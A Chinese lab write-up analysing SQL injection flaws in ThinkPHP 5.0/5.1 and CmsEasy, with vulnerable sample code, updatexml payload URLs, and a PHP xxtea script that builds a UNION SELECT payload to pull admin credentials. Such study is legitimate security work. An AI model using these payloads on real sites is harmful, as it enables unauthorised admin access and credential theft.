ThinkPHP5.1.C+CmsEasy-SQL注入
目录
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
1.1.1将 composer.json 文件的 require 字段设置成如下:
1.1.2设置application/index/controller/Index.php 文件
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。编辑编辑
1.1.4Payload触发SQL注入
1.2漏洞分析
2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
2.1.1将 composer.json 文件的 require 字段设置成如下:
2.1.2并配置 application/index/controller/Index.php
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
编辑
2.1.4漏洞利用
2.2漏洞分析
2.3漏洞修复
3、cms的sql注入
3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行
3.2.3访问页面
3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本
1.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {"php": ">=5.4.0","topthink/framework": "5.0.15"
}
1.1.2设置application/index/controller/Index.php 文件
<?php
namespace app\index\controller;class Index
{public function index(){$username = request()->get('username');$result = db('users')->where('username','exp',$username)->select();return 'select success';}
}
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。
并在数据库中创建好users表

1.1.4Payload触发SQL注入
http://127.0.0.1/think/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
1.2漏洞分析
程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,然后进到thinkphp/helper.php中的db方法,再进到thinkphp/library/think/db/Query.php中where方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句


此处调用$this->builder的select方法,而此处$this->builder 为think/db/builder/Mysql类,继承于Builder类,因此调用的是Builder类的select方法

在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数,此处 $where 经过 buildWhere 方法处理后返回 $whereStr,期间调用 parseWhereItem 方法


继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
2.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {"php": ">=5.6.0","topthink/framework": "5.1.25"
}
2.1.2并配置 application/index/controller/Index.php
<?php
namespace app\index\controller;class Index
{public function index(){$options = request()->get('options');$result = db('users')->max($options);var_dump($result);}
}
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
create database tpdemo;
use tpdemo;
create table users(id int primary key auto_increment,username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');
2.1.4漏洞利用
index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23

2.2漏洞分析
用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法


Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法 ,该方法会调用 Builder 类的 select 方法来构造 SQL 语句
经过一个拼接得到的$field=MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max
然后看value(),其中最重要的就是生成SQL语句处
$sql=$this->builder->select(%query);
Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),
将$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr

上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则
2.3漏洞修复
官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

3、cms的sql注入
先搭建环境成功登录网站

3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制

http://127.0.0.1/cms/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
这样就完全符合构造函数的要求,可以进入网站后台,拿到cookie安全码

$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
$user=$user->getrow(unserialize($args));
注释:cookie_password这里先拿到网站的安全码,在把你的提交$args经过base64_decode的解码,在xtea_decrypt这个函数进行解密,全部解密后在进行一个反序列化unserialize,反序列化用getrow方法查询到的结果获取数据库第一行
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
<?php
function xxtea_encrypt($str, $key) {if ($str == "") {return "";}$v = str2long($str, true);$k = str2long($key, false);if (count($k) < 4) {for ($i = count($k); $i < 4; $i++) {$k[$i] = 0;}}$n = count($v) - 1;$z = $v[$n];$y = $v[0];$delta = 0x9E3779B9;$q = floor(6 + 52 / ($n + 1));$sum = 0;while (0 < $q--) {$sum = int32($sum + $delta);$e = $sum >> 2 & 3;for ($p = 0; $p < $n; $p++) {$y = $v[$p + 1];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$p] = int32($v[$p] + $mx);}$y = $v[0];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$n] = int32($v[$n] + $mx);}return long2str($v, false);
}function str2long($s, $w) {$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));$v = array_values($v);if ($w) {$v[count($v)] = strlen($s);}return $v;
}function long2str($v, $w) {$len = count($v);$n = ($len - 1) << 2;if ($w) {$m = $v[$len - 1];if (($m < $n - 3) || ($m > $n)) return false;$n = $m;}$s = array();for ($i = 0; $i < $len; $i++) {$s[$i] = pack("V", $v[$i]);}if ($w) {return substr(join('', $s), 0, $n);}else {return join('', $s);}
}function int32($n) {while ($n >= 2147483648) $n -= 4294967296;while ($n <= -2147483649) $n += 4294967296;return (int)$n;
}
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

在index.php开头添加以下代码:$key = '9a35ab2c5b5926c5dd4b29adc840df1c';$table = array( 'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#'
);echo base64_encode(xxtea_encrypt(serialize($table), $key));
echo base64_encode(xxtea_encrypt(serialize($table), $key));
要和前面顺序相反,先序列号在加密在解码
3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
te=default
a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9
正常运行后会产生以下信息
这里只拿到了名字,密码还没拿到,还在解决
相关文章:
ThinkPHP5.1.C+CmsEasy-SQL注入
目录 1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入) 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下: 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…...
Python 绘图进阶之词云图:文本数据的可视化艺术
Python 绘图进阶之词云图:文本数据的可视化艺术 引言 在数据科学和自然语言处理领域,词云图(Word Cloud)是一种常用的可视化工具。它通过直观的图形展示文本数据中的高频词汇,使得我们能够快速抓住文本内容的核心主题…...
【Windows】Q-Dir(资源管理器)软件介绍
软件介绍 Q-Dir是一款免费的文件管理器软件,它可以让您更方便地浏览和管理计算机上的文件和文件夹。与Windows自带的资源管理器相比,Q-Dir具有更多的功能和选项。 安装教程 软件下载完成,解压软件。 点击Q-Dir.exe即可打开软件。 功能…...
什么是令牌桶算法?工作原理是什么?使用它有哪些优点和注意事项?
大家好,我是鸭鸭! 此答案节选自鸭鸭最近弄的面试刷题神器面试鸭 ,更多大厂常问面试题,可以点击下面的小程序进行阅读哈! 目前这个面试刷题小程序刚出,有网页和小程序双端可以使用! 回归面试题…...
C++-类与对象(中上篇)
一、目标 1. 类的 6 个默认成员函数 2. 构造函数 3. 析构函数 二、对目标的介绍 1. 类的6个默认成员函数 如果一个类中什么成员都没有,简称为空类。 空类中真的什么都没有吗?并不是,任何类在什么都不写时,编译器会自动生…...
链表 206.反转链表
一般方法 不需要一个个来回换,只需要改变链表的指向,即可完成 一个链表的头节点,也代表了整个链表 class Solution {public ListNode reverseList(ListNode head) {ListNode temp;ListNode cur head;ListNode pre null;while(cur ! null…...
Ubuntu18.04 配置EtherCAT主站IGH SOEM
IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核,我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…...
航空航天构型管理
构型管理(CM)被定义为在产品的生命周期中应用的SE技术和管理规程。CM的五个原则是:CM计划与执行、配置识别、配置变更和差异控制、配置状态核算和配置验证。 广义上的构型管理规划和管理是有效实施配置管理的关键。特别是在不同项目之间的差异中,构型管理…...
Visual Studio Code 安装与 C/C++ 语言运行总结
大家好,我是程序员小羊! 前言: Visual Studio Code(简称 VS Code)是由微软开发的一款轻量级、强大的代码编辑器,支持多种编程语言和开发框架。由于其丰富的插件生态系统和灵活的配置选项,VS…...
Science Robotics 受鳞片启发的可编程机器人结构,可同时进行形状变形和刚度变化
一、前言速览 生物有机体通常凭借复杂的结构表现出显著的多功能性,例如章鱼具有可以同时改变形状和刚度的能力。现有的仿生软体机器人要想实现这样的能力,往往需要繁琐的结构和复杂的控制系统。为此,来自新加坡南洋理工大学的研究人员从覆盖…...
SpringBoot 自定义 Starter 实现
一、定义,什么是Starter SpringBoot Starter 是”一站式服务(one-stop service)“的依赖 Jar 包: 包含 Spring 以及相关技术(比如Redis)的所有依赖提供了自动配置的功能,开箱即用提供了良好的…...
「Spring MVC」Session、Cookie
🎇个人主页:Ice_Sugar_7 🎇所属专栏:JavaEE 🎇欢迎点赞收藏加关注哦! Spring MVC 🍉Session & Cookie🍌联系与区别 🍉获取 Cookie🍉存储 & 获取 Sess…...
Java虚拟机:垃圾回收器
大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 037 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…...
ES6-ES13学习笔记
初识ES6 ECMAScript 6.0(以下简称 ES6)是 JavaScript 语言的下一代标准,已经在 2015 年 6 月正式发布了。它的目标,是使得 JavaScript 语言可以用来编写复杂的大型应用程序,成为企业级开发语言。 1997年:EC…...
【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置
【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置 文章目录 控件安装和模块导入在ui上添加QChartView控件QChartView图表配置附录:C语言到C的入门知识点(主要适用于C语言精通到Qt的C开发入门)C语言与C的不同C中写C语言代码…...
Android14 屏幕录制(屏幕投影)和音频播放采集
Android 5开始支持屏幕采集, Android 10支持音频播放采集,不过Android 14用前台服务做屏幕录制时要增加一些处理. 1. app manifest 需要增加: <manifest><uses-permission android:name"android.permission.FOREGROUND_SERVICE" /><uses…...
一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶
一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 文章目录 前言一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 一、HKELM模型1. 极限学习机(ELM࿰…...
redis面试(十五)公平锁队列重排
队列重拍 先说一下当前的加锁状态 anyLock由客户端A持有队列中是客户端B、客户端C并且客户端B现在是排在头部 那么队列重拍就是队列中某个客户端长时间没有重新申请加锁,没有刷新分数,就会被队列中挤掉。 假设这个长时间没有加锁的客户端是B。 总结 …...
python 基础语法os模块
一、os模块 待总结 二、os.path模块 1.abspath()方法--获取绝对路径 abspathO)方法用于返回文件或者目录的绝对路径。 语法格式如下: os .path.abspath(path) 参数说明: path:表示要获取绝对路径的相对路径,可以是文件也可以是目录。 返回值:返回获取到的绝…...
图论------迪杰斯特拉(Dijkstra)算法求单源最短路径。
编程要求 在图的应用中,有一个很重要的需求:我们需要知道从某一个点开始,到其他所有点的最短路径。这其中,Dijkstra 算法是典型的最短路径算法。 本关的编程任务是补全右侧代码片段中 Begin 至 End 中间的代码,实现 …...
SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
什么是VR全景技术
VR全景技术,全称为虚拟现实全景技术,是通过计算机图像模拟生成三维空间中的虚拟世界,使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验,结合图文、3D、音视频等多媒体元素…...
DAY 26 函数专题1
函数定义与参数知识点回顾:1. 函数的定义2. 变量作用域:局部变量和全局变量3. 函数的参数类型:位置参数、默认参数、不定参数4. 传递参数的手段:关键词参数5 题目1:计算圆的面积 任务: 编写一…...



